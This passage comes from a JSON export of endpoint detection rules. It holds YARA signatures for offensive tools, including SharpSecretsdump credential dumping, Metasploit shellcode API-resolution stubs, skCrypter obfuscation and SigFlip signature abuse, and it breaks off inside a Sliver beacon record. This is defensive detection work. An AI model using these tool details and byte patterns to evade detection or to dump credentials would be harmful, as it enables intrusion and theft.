+  "rule_level": "high",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/BronzeTicket/SharpNBTScan\nhttps://cn-sec.com/archives/1266704.html\nhttps://unit42.paloaltonetworks.com/stately-taurus-abuses-vscode-southeast-asian-espionage/"
+  ],
+  "name": "sharpnbtscan.yar",
+  "content": "rule sharpnbtscan {\n    meta:\n        title = \"SharpNBTScan NetBIOS Scanner\"\n        id = \"67aa27cf-df0c-4b80-9486-fcc869c52020\"\n        description = \"Detects SharpNBTScan, a NetBIOS scanning tool written in C#.\\nSharpNBTScan is used for enumerating NetBIOS names and gathering information about remote devices on a network.\\nAttackers may use this tool during the reconnaissance phase to gather intelligence on network devices.\\nIt is recommended to investigate the context around this alert to look for malicious actions and to determine if the usage of this tool is legitimate.\"\n        references = \"https://github.com/BronzeTicket/SharpNBTScan\\nhttps://cn-sec.com/archives/1266704.html\\nhttps://unit42.paloaltonetworks.com/stately-taurus-abuses-vscode-southeast-asian-espionage/\"\n        date = \"2024-10-14\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.discovery;attack.t1046;attack.t1018;attack.reconnaissance;attack.t1595.001;attack.t1590.005\"\n        classification = \"Windows.Tool.SharpNBTScan\"\n        context = \"process,file.pe\"\n        os = \"Windows\"\n        arch = \"x86,x64\"\n        score = 70\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // b1601a628a5658f44f668530710fd99302fcefe77ce12596d22b527ba1be7d2a\n        // ef5aa4ea773f945f9636f371238f7b8c8c5ca77f7d64d8373fdc2e3e12f87d75\n        // 0118e730c519c4bc5c5f2899dc2adc5c2b83664d12cb173b23cd1bb4107e3eb7\n        // 1f845bb93a54177106e10034cb9453f71b5e5789417286912a3c710a9482438f\n\n        $str_generic = \"SharpNBTScan\" ascii\n\n        // https://cn-sec.com/archives/1266704.html\n        $str_v1_1 = \"[*] Detecting Remote Computer of {0}\" wide fullword\n        $str_v1_2 = \"[>] Name type: Unique name -> (Workstation/Redirector) -> Name: {0}<{1}>\" wide fullword\n        $str_v1_3 = \"[>] Uint ID(MAC Address): {0}\" wide fullword\n        $str_v1_4 = \"[+] Number of Names: {1}\" wide fullword\n        $str_v1_5 = \"[!] Error: {0}\" wide fullword\n\n        // https://github.com/BronzeTicket/SharpNBTScan\n        $str_v2_1 = \"[*]Start udp client ...\" wide fullword\n        $str_v2_2 = \"[+]Udp client will stop in 10 s ...\" wide fullword\n        $str_v2_3 = \"[+] ip range {0} - {1}\" wide fullword\n        $str_v2_4 = \"[-]usage: SharpNBTScan.exe TargetIp (e.g.: SharpNBTScan.exe 192.168.0.1/24)\" wide fullword\n        $str_v2_5 = \"[!]Error: {0}\" wide fullword\n\n    condition:\n        uint16(0) == 0x5a4d and $str_generic and (3 of ($str_v1_*) or 3 of ($str_v2_*))\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "sharpnbtscan"
+  ],
+  "rule_creation_date": "2024-10-14",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Tool.SharpNBTScan"
+  ],
+  "rule_tactic_tags": [
+    "attack.discovery"
+  ],
+  "rule_technique_tags": [
+    "attack.t1046",
+    "attack.t1018",
+    "attack.t1595.001",
+    "attack.t1590.005"
+  ],
+  "rule_score": 70,
+  "rule_context": [
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-sharp_secrets_dump_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.581515Z",
+  "creation_date": "2026-03-23T11:46:25.581517Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.581523Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/laxa/SharpSecretsdump/tree/master\nhttps://attack.mitre.org/techniques/T1003/004/"
+  ],
+  "name": "sharp_secrets_dump.yar",
+  "content": "rule hacktool_sharpsecretsdump {\n    meta:\n        title = \"SharpSecretsdump HackTool\"\n        id = \"f14d494f-b925-465b-8562-0859c5984ba4\"\n        description = \"Detects the execution of SharpSecretsdump, a .NET-based tool used to extract Windows credentials.\\nSharpSecretsdump is an implementation of Impacket's secretsdump.py, designed to run locally on Windows systems to extract LSA secrets and SAM hashes. This tool bypasses the need for remote registry access, making it harder to detect and useful for credential access attacks. It can dump credentials from the local system without requiring high integrity levels, making it a potent tool for adversaries to gather sensitive information.\\nIt is recommended to investigate the context around this alert to look for malicious actions.\"\n        references = \"https://github.com/laxa/SharpSecretsdump/tree/master\\nhttps://attack.mitre.org/techniques/T1003/004/\"\n        date = \"2024-05-07\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.credential_access;attack.t1003.004\"\n        classification = \"Windows.HackTool.SharpSecretsdump\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // fd4dd7547120435cc209247d32520b8d997b7443ba9af21b1e981a4117fe0cb8\n\n        $a1 = \"You need to be in high integrity to extract LSA secrets\" wide\n        $a2 = \"[*] Target system bootKey: 0x\" wide\n        $a3 = \"[!] Secret type not supported yet\" wide\n        $a4 = \"[*] Dumping local SAM hashes\" wide\n        $a5 = \"{0}\\\\{1}$:aad3b435b51404eeaad3b435b51404ee:{2}:::\" wide\n\n    condition:\n        2 of ($a*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "hacktool_sharpsecretsdump"
+  ],
+  "rule_creation_date": "2024-05-07",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.HackTool.SharpSecretsdump"
+  ],
+  "rule_tactic_tags": [
+    "attack.credential_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1003.004"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-shellcode_generic_metasploit_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.579012Z",
+  "creation_date": "2026-03-23T11:46:25.579014Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.579022Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/rapid7/metasploit-framework"
+  ],
+  "name": "shellcode_generic_metasploit.yar",
+  "content": "rule shellcode_generic_metasploit {\n    meta:\n        title = \"Metasploit Generic Shellcode\"\n        id = \"7ce015f9-3489-420c-9ce8-b21af28e5019\"\n        description = \"Detects generic Metasploit shellcode activity.\\nThis rule targets patterns commonly associated with Metasploit shellcode, such as API resolution and process injection.\\nIt is recommended to investigate the execution context and surrounding detections to assess whether the detected binary or process is linked with malicious activity. If possible, isolating the infected host during the investigation can help mitigate the risk of malicious activity.\"\n        references = \"https://github.com/rapid7/metasploit-framework\"\n        date = \"2024-02-27\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1055.002\"\n        classification = \"Windows.Framework.Metasploit\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        arch = \"x86,x64\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // ffff303484812d23b06f18aba1f6a43beae730268a02ee97560e7f9cad0f9701\n\n        $stub_api_resolution_64bits = {\n            65 48 8b ?? 60                              // mov     rdx, qword [gs:rdx+0x60]\n            48 8b ?? 18                                 // mov     rdx, qword [rdx+0x18]\n            [0-2]                                       // Place holder\n            48 8b ?? 20                                 // mov     rdx, qword [rdx+0x20]\n            [0-3]                                       // Place holder\n            ( 48 8b ?? 50  | 48 0f b7 4a 4a  )          // mov     rsi, qword [rdx+0x50]\n            [0-3]                                       // Place holder\n            ( 48 8b ?? 50  | 48 0f b7 4a 4a  )          // movzx   rcx, word [rdx+0x4a]\n            ?? 31 ??                                    // xor     r9, r9  {0x0}\n            [15-25]                                     // Place holder\n            48 8b ?? 20                                 // mov     rdx, qword [rdx+0x20]\n            8b ?? 3c                                    // mov     eax, dword [rdx+0x3c]\n        }\n\n        $stub_api_resolution_32bits = {\n            64 8b ?? 30                                     // mov     edx, dword [fs:edx+0x30]\n            8b ?? 0c                                        // mov     edx, dword [edx+0xc]\n            8b ?? 14                                        // mov     edx, dword [edx+0x14]\n            [0-8]                                           // placeholder\n            ( 8b ?? 28 | 0f b7 4a 26 )                      // mov     esi, (dword [edx+0x28]/word [edx+0x26])\n            [0-2]                                           // placeholder\n            ( 8b ?? 28 | 0f b7 4a 26 )                      // movzx   ecx, (dword [edx+0x28]/word [edx+0x26])\n            31 ??                                           // xor     eax, eax  {0x0}\n            [15-25]                                         // Place holder\n            8b ?? 10                                        // mov     edx, dword [edx+0x10]\n            [0-5]                                           // Place holder\n            8b ?? 3c                                        // mov     eax, dword [edx+0x3c]\n            [0-5]                                           // Place holder\n            8b [1-2] 78                                     // mov     eax, dword [eax+0x78]\n        }\n    condition:\n        1 of ($stub_*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "shellcode_generic_metasploit"
+  ],
+  "rule_creation_date": "2024-02-27",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Framework.Metasploit"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1055.002"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-sia_gpu_miner_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.577418Z",
+  "creation_date": "2026-03-23T11:46:25.577420Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.577426Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/NebulousLabs/Sia-GPU-Miner"
+  ],
+  "name": "sia_gpu_miner.yar",
+  "content": "rule sia_gpu_miner {\n    meta:\n        title = \"SIA GPU Miner\"\n        id = \"5d30a2a2-c2d1-46a5-a76f-48cb6ab06098\"\n        description = \"Detects the SIA GPU Miner, a cryptocurrency mining software designed for mining siacoins.\\nSIA GPU Miner is a GPU-based mining application that connects to the Sia network to perform Proof-of-Work calculations.\\nIt is often used for malicious purposes to monetize infected systems by utilizing their graphics processing power.\\nThe miner communicates with the Sia daemon (siad) to send hashing operations and receive work assignments.\\nIt accepts various command-line parameters to configure GPU usage, intensity, host, port, and other mining-related settings.\\nIt is recommended to disable unnecessary cryptocurrency mining activities on systems to mitigate the risk of abuse.\"\n        references = \"https://github.com/NebulousLabs/Sia-GPU-Miner\"\n        date = \"2024-07-23\"\n        modified = \"2025-11-24\"\n        author = \"HarfangLab\"\n        tags = \"attack.impact;attack.t1496\"\n        classification = \"Linux.CryptoMiner.SiaGPUMiner\"\n        context = \"process,memory,file.elf\"\n        os = \"Linux\"\n        arch = \"x86,x64\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // 3c58f69d5bf12d6c3c37edba8fadd212e7aa3bbc413bceccd99480eba3584d09\n\n        $f1 = \"Received corrupt target from Sia\" fullword ascii\n        $f2 = \"./sia-gpu-miner.cl\" fullword ascii\n        $f3 = \"Are you sure that siad is running?\" fullword ascii\n\n        $usage_1 = \"C - cycles per iter: Number of kernel executions between Sia API calls and hash rate updates\" fullword ascii\n        $usage_2 = \"A low C will cause instability. As a rule of thumb, the hashrate should only be updating a few times per second.\" fullword ascii\n        $usage_3 = \"I - intensity: This is the amount of work sent to the GPU in one batch.\" fullword ascii\n        $usage_4 = \"H - host: which host name to use when talking to the siad api. (default: %s)\" fullword ascii\n        $usage_5 = \"P - port: which port to use when talking to the siad api. (e.g. -p :9980)\" fullword ascii\n        $usage_6 = \"p - OpenCL platform ID: Just what it says on the tin. If you're finding no GPUs,\" fullword ascii\n        $usage_7 = \"d - OpenCL device ID: Self-explanatory; it's the GPU index. Note that different\" fullword ascii\n\n        $canary = \"62a45b722ec60b6d062087baa7ec0fab28c7d6b050b6f56df449e19ded926d73\" ascii\n\n    condition:\n        (any of ($f*) or 3 of ($usage_*)) and not $canary\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "sia_gpu_miner"
+  ],
+  "rule_creation_date": "2024-07-23",
+  "rule_modified_date": "2025-11-24",
+  "rule_os": [
+    "linux"
+  ],
+  "rule_classifications": [
+    "Linux.CryptoMiner.SiaGPUMiner"
+  ],
+  "rule_tactic_tags": [
+    "attack.impact"
+  ],
+  "rule_technique_tags": [
+    "attack.t1496"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.elf",
+    "memory",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-sigflip_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.571842Z",
+  "creation_date": "2026-03-23T11:46:25.571845Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.571850Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://learn.microsoft.com/en-us/answers/questions/1182542/cve-2013-3900-winverifytrust-signature-validation\nhttps://github.com/med0x2e/SigFlip"
+  ],
+  "name": "sigflip.yar",
+  "content": "import \"pe\"\n\nrule sigflip_drivers {\n    meta:\n        title = \"SigFlip Drivers (CVE 2013-3900)\"\n        id = \"109a1a14-6c1f-46a2-8936-00b1f9b003a8\"\n        description = \"Detects drivers with malformed signatures.\\nAttackers can exploit a vulnerability in Windows signature verification to change the hash of a driver while keeping its signature valid (CVE 2013-3900).\\nThis technique allows attackers to load malicious or vulnerable drivers, bypassing detection mechanisms that rely on hash-based identification.\\nIt is recommended to investigate the context around this alert to look for malicious actions.\"\n        references = \"https://learn.microsoft.com/en-us/answers/questions/1182542/cve-2013-3900-winverifytrust-signature-validation\\nhttps://github.com/med0x2e/SigFlip\"\n        date = \"2023-06-21\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1211\"\n        classification = \"Windows.Generic.SigFlip\"\n        context = \"process,thread,file.pe\"\n        os = \"Windows\"\n        arch = \"x86,x64\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        $pace = \"PACE Anti-Piracy1\" ascii fullword\n\n    condition:\n        pe.number_of_signatures >= 1  and\n        pe.signatures[0].valid_on(pe.timestamp) and\n        (\n                uint16be(pe.data_directories[pe.IMAGE_DIRECTORY_ENTRY_SECURITY].virtual_address+8) == 0x3082 and\n                for 1 i in ((uint16be(pe.data_directories[pe.IMAGE_DIRECTORY_ENTRY_SECURITY].virtual_address+10))+12..(uint32(pe.data_directories[pe.IMAGE_DIRECTORY_ENTRY_SECURITY].virtual_address))-1):\n                (\n                    uint8be(pe.data_directories[pe.IMAGE_DIRECTORY_ENTRY_SECURITY].virtual_address+i) != 0x00\n                ) or\n                uint16be(pe.data_directories[pe.IMAGE_DIRECTORY_ENTRY_SECURITY].virtual_address+8) == 0x3083 and\n                for 1 i in ((65536 * uint8(pe.data_directories[pe.IMAGE_DIRECTORY_ENTRY_SECURITY].virtual_address+10) + uint16be(pe.data_directories[pe.IMAGE_DIRECTORY_ENTRY_SECURITY].virtual_address+11))+13..(uint32(pe.data_directories[pe.IMAGE_DIRECTORY_ENTRY_SECURITY].virtual_address))-1):\n                (\n                    uint8be(pe.data_directories[pe.IMAGE_DIRECTORY_ENTRY_SECURITY].virtual_address+i) != 0x00\n                )\n        )\n        and not $pace\n        and pe.imports(\"ntoskrnl.exe\")\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "sigflip_drivers"
+  ],
+  "rule_creation_date": "2023-06-21",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Generic.SigFlip"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1211"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-skcrypter_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.563652Z",
+  "creation_date": "2026-03-23T11:46:25.563655Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.563660Z",
+  "rule_level": "high",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/skadro-official/skCrypter"
+  ],
+  "name": "skcrypter.yar",
+  "content": "rule skcrypter {\n    meta:\n        title = \"skCrypter Library\"\n        id = \"934ccbf1-f09e-4e70-a0dd-bca2875bb433\"\n        description = \"Detects the usage of skCrypter, a library used to encrypt strings at compile-time and decrypt them at runtime.\\nskCrypter is a library commonly used by malware authors to evade detection and hinder binary analysis by obfuscating their code\\nIt is recommended to investigate the context around this alert to look for malicious actions.\"\n        references = \"https://github.com/skadro-official/skCrypter\"\n        date = \"2024-04-03\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1140;attack.t1027\"\n        classification = \"Windows.Generic.skCrypter\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        arch = \"x86,x64\"\n        score = 70\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // 490f36cd2a3773554a3698ab96134398942d9d92673cdbbfb89e5b92a054c4d0\n        // 4efa8380b2986ee710411df08dba27fef5dd2f80877959be74d3b850a371c623\n        // 5f8ff572f6f1ed39121999a557c71e9364faa642648d8ae64d8e40de2a7b18b1\n        // 79a4c04639a0a9983467370b38de262641da79ccd51a0cdcd53aba20158f1b3a\n        // 87d7caf2e0c77e2f1b2a852183903acdd52551284f7a27e8712a40a2cf6764b0\n        // d8591297cf8f7df51bc919acbca4e00d6e4f428b544778610a25e1fabc43ff32\n\n        $crypt1 = {\n            B8 ?? ?? ?? ??                // mov     eax, 5397829Dh\n            F7 EF                         // imul    edi\n            C1 FA 04                      // sar     edx, 4\n            8B C2                         // mov     eax, edx\n            C1 E8 1F                      // shr     eax, 1Fh\n            03 D0                         // add     edx, eax\n            B8 01 00 00 00                // mov     eax, 1\n            2A C2                         // sub     al, dl\n            0F BE C0                      // movsx   eax, al\n            6B C8 ??                      // imul    ecx, eax, 31h ; '1'\n            40 02 CF                      // add     cl, dil\n            41 30 08                      // xor     [r8], cl\n            FF C7                         // inc     edi\n            4D 8D 40 01                   // lea     r8, [r8+1]\n            83 FF ??                      // cmp     edi, 21h ; '!'\n            7C ??                         // jl      short loc_140075FB0\n        }\n\n        $crypt2 = {\n            B8 ?? ?? ?? ??                // mov     eax, 4EC4EC4Fh\n            F7 EF                         // imul    edi\n            C1 FA 04                      // sar     edx, 4\n            8B C2                         // mov     eax, edx\n            C1 E8 1F                      // shr     eax, 1Fh\n            03 D0                         // add     edx, eax\n            0F BE C2                      // movsx   eax, dl\n            6B C8 ??                      // imul    ecx, eax, 34h ; '4'\n            40 0F B6 C7                   // movzx   eax, dil\n            2A C1                         // sub     al, cl\n            04 ??                         // add     al, 33h ; '3'\n            41 30 00                      // xor     [r8], al\n            FF C7                         // inc     edi\n            4D 8D 40 01                   // lea     r8, [r8+1]\n            83 FF ??                      // cmp     edi, 21h ; '!'\n            7C ??                         // jl      short loc_140072380\n        }\n\n        $crypt3 = {\n            B8 ?? ?? ?? ??                // mov     eax, 0A0A0A0A1h\n            F7 EF                         // imul    edi\n            03 D7                         // add     edx, edi\n            C1 FA 05                      // sar     edx, 5\n            8B C2                         // mov     eax, edx\n            C1 E8 1F                      // shr     eax, 1Fh\n            03 D0                         // add     edx, eax\n            0F BE C2                      // movsx   eax, dl\n            6B C8 ??                      // imul    ecx, eax, 33h ; '3'\n            40 0F B6 C7                   // movzx   eax, dil\n            2A C1                         // sub     al, cl\n            04 ??                         // add     al, 36h ; '6'\n            41 30 00                      // xor     [r8], al\n            FF C7                         // inc     edi\n            4D 8D 40 01                   // lea     r8, [r8+1]\n            83 FF ??                      // cmp     edi, 21h ; '!'\n            7C ??                         // jl      short loc_1400736E0\n        }\n\n        $crypt4 = {\n            B8 ?? ?? ?? ??                // mov     eax, 92492493h\n            4D 8D 40 01                   // lea     r8, [r8+1]\n            F7 EF                         // imul    edi\n            03 D7                         // add     edx, edi\n            C1 FA 05                      // sar     edx, 5\n            8B C2                         // mov     eax, edx\n            C1 E8 1F                      // shr     eax, 1Fh\n            03 D0                         // add     edx, eax\n            0F BE C2                      // movsx   eax, dl\n            6B C8 ??                      // imul    ecx, eax, 38h ; '8'\n            40 0F B6 C7                   // movzx   eax, dil\n            FF C7                         // inc     edi\n            2A C1                         // sub     al, cl\n            04 ??                         // add     al, 37h ; '7'\n            41 30 40 FF                   // xor     [r8-1], al\n            83 FF ??                      // cmp     edi, 13h\n            7C ??                         // jl      short loc_180018E30\n        }\n\n        $crypt5 = {\n            B8 ?? ?? ?? ??                // mov     eax, 8D3DCB09h\n            4D 8D 49 02                   // lea     r9, [r9+2]\n            41 F7 E8                      // imul    r8d\n            41 03 D0                      // add     edx, r8d\n            C1 FA 05                      // sar     edx, 5\n            8B C2                         // mov     eax, edx\n            C1 E8 1F                      // shr     eax, 1Fh\n            03 D0                         // add     edx, eax\n            0F B7 C2                      // movzx   eax, dx\n            6B C8 ??                      // imul    ecx, eax, 3Ah ; ':'\n            41 0F B7 C0                   // movzx   eax, r8w\n            41 FF C0                      // inc     r8d\n            66 2B C1                      // sub     ax, cx\n            66 83 C0 ??                   // add     ax, 35h ; '5'\n            66 41 31 41 FE                // xor     [r9-2], ax\n            41 83 F8 ??                   // cmp     r8d, 0Eh\n            7C ??                         // jl      short loc_1400069F0\n        }\n\n        $generic_crypt1 = {\n            C1 FA ??                      // sar     edx, 5\n            8B C2                         // mov     eax, edx\n            C1 E8 1F                      // shr     eax, 1Fh\n            03 D0                         // add     edx, eax\n            0F ?? ??                      // movzx   eax, dx\n            6B C8 ??                      // imul    ecx, eax, 3Ah ; ':'\n            [15-30]\n            7C                            // jl\n        }\n\n        $generic_crypt2 = {\n            F2 0F 70 C2 D8                // pshuflw xmm0, xmm2, 0D8h\n            F3 0F 70 C8 D8                // pshufhw xmm1, xmm0, 0D8h\n            66 0F 70 D1 D8                // pshufd  xmm2, xmm1, 0D8h\n        }\n\n        // Exclusion for FACEIT\n        $faceit = \"FACEIT Anti-Cheat Service\" wide fullword\n\n        // Exclusion for soffice (C:\\Program Files\\LibreOffice\\program\\swriter.exe -o)\n        $soffice = \"\\\\workdir\\\\LinkTarget\\\\Executable\\\\soffice.bin.pdb\" ascii\n\n    condition:\n        #crypt1 > 5 or\n        #crypt2 > 5 or\n        #crypt3 > 5 or\n        #crypt4 > 5 or\n        #crypt5 > 5 or\n        (\n            #generic_crypt1 > 4 and\n            #generic_crypt2 > 4\n        )\n        and not (\n            ($faceit and filepath == \"C:\\\\Program Files\\\\FACEIT AC\\\\faceitservice.exe\") or\n            ($soffice and filepath == \"C:\\\\Program Files\\\\LibreOffice\\\\program\\\\soffice.bin\") or\n            ($soffice and filepath == \"C:\\\\Windows\\\\System32\\\\WerFault.exe\")\n        )\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "skcrypter"
+  ],
+  "rule_creation_date": "2024-04-03",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Generic.skCrypter"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1140",
+    "attack.t1027"
+  ],
+  "rule_score": 70,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-sliver_beacon_linux_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.563945Z",
+  "creation_date": "2026-03-23T11:46:25.563947Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.563953Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
